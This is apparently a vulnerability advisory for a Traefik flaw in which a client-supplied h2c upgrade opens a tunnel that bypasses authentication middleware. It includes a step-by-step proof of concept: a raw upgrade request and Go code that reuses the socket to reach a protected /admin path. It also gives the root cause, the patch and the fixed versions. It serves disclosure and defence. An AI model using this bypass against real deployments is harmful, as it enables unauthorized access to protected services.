CVE-2026-88008: Traefik h2c Upgrade Middleware Bypass via HTTP Request Smuggling
Traefik forwarded client-supplied h2c upgrade headers to backends without restriction, allowing an attacker to open a raw HTTP/2 tunnel through an unprotected route and silently bypass authentication…

The problem
Traefik (v2.11.26 through v2.11.56 and v3.4.2 through v3.7.12) passed a client-supplied Upgrade: h2c header and the connection-specific HTTP2-Settings header straight through to the backend without any validation.
If the backend accepts the h2c upgrade and returns 101 Switching Protocols, Traefik hands off the TCP connection to a raw byte tunnel. From that point on, all HTTP/2 frames sent over the tunnel bypass the Traefik router and middleware chain entirely: BasicAuth, ForwardAuth, IPAllowList, RateLimit, access logs, metrics, and tracing are all skipped.
An attacker who can reach even one unprotected route on a shared backend can use it to reach every protected path on that same backend.
Proof of concept
A working proof-of-concept for CVE-2026-88008 in github.com/traefik/traefik/v3, with the exact payload below.
# Step 1: confirm /admin is protected (expect 401)
curl -i http://traefik:9080/admin
# Step 2: open a raw TCP connection to Traefik and send an h2c upgrade
# request against the UNPROTECTED /public route
GET /public HTTP/1.1
Host: x
Connection: Upgrade, HTTP2-Settings
Upgrade: h2c
HTTP2-Settings: AAMAAABkAAQAoAAAAAIAAAAA
# Traefik forwards the headers to the backend unchanged.
# A cooperating backend replies:
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: h2c
# Step 3: reuse the same TCP socket as an HTTP/2 client conn.
# Send a request to the PROTECTED path - no credentials needed.
# (golang.org/x/net/http2).Transport{}.NewClientConn(raw)
# req, _ := http.NewRequest("GET", "http://x/admin", nil)
# cc.RoundTrip(req) => 200 "ADMIN SECRET DATA"The root cause is that pkg/middlewares/forwardedheaders/forwarded_header.go preserved and forwarded every Upgrade token listed in a Connection: Upgrade header without restricting it to protocols Traefik itself supports. Once net/http/httputil.ReverseProxy received a 101 Switching Protocols response it switched the connection into tunnel mode, and Traefik stopped parsing the stream as HTTP entirely.
All subsequent HTTP/2 frames were relayed directly to the backend, completely outside the router and middleware pipeline. The patch (PR #13797, commit a277e94) adds a handler that strips the h2c token from the Upgrade header and removes the connection-specific HTTP2-Settings header before the request is forwarded, while leaving Upgrade: websocket untouched.
This maps to CWE-444 (inconsistent interpretation of HTTP requests) because Traefik and the backend disagreed on protocol state after the upgrade, and CWE-863 (incorrect authorization) because the middleware layer was silently bypassed for all tunneled requests.
The fix
Upgrade to Traefik v3.7.13 (or v2.11.57 for the v2.11 branch). The fix strips Upgrade: h2c and HTTP2-Settings from all proxied requests. If you legitimately need a backend served over unencrypted HTTP/2, configure it explicitly with the h2c:// server URL scheme or the serversscheme: h2c annotation instead of relying on client-initiated upgrades.
Related research
- highCVE-2026-88009CVE-2026-88009: Traefik HTTP Request Smuggling via Rootless Opaque Request-Target
- criticalCVE-2026-88007CVE-2026-88007: Traefik HTTP/3 NTLM Backend Connection Reuse
- highCVE-2026-88004CVE-2026-88004: Traefik Entrypoint Header Sanitization Bypass via HTTP Trailers
- high · 8.2CVE-2026-71327CVE-2026-71327: Traefik Gateway API Route Identity Collision Allows Cross-Namespace Backend Hijacking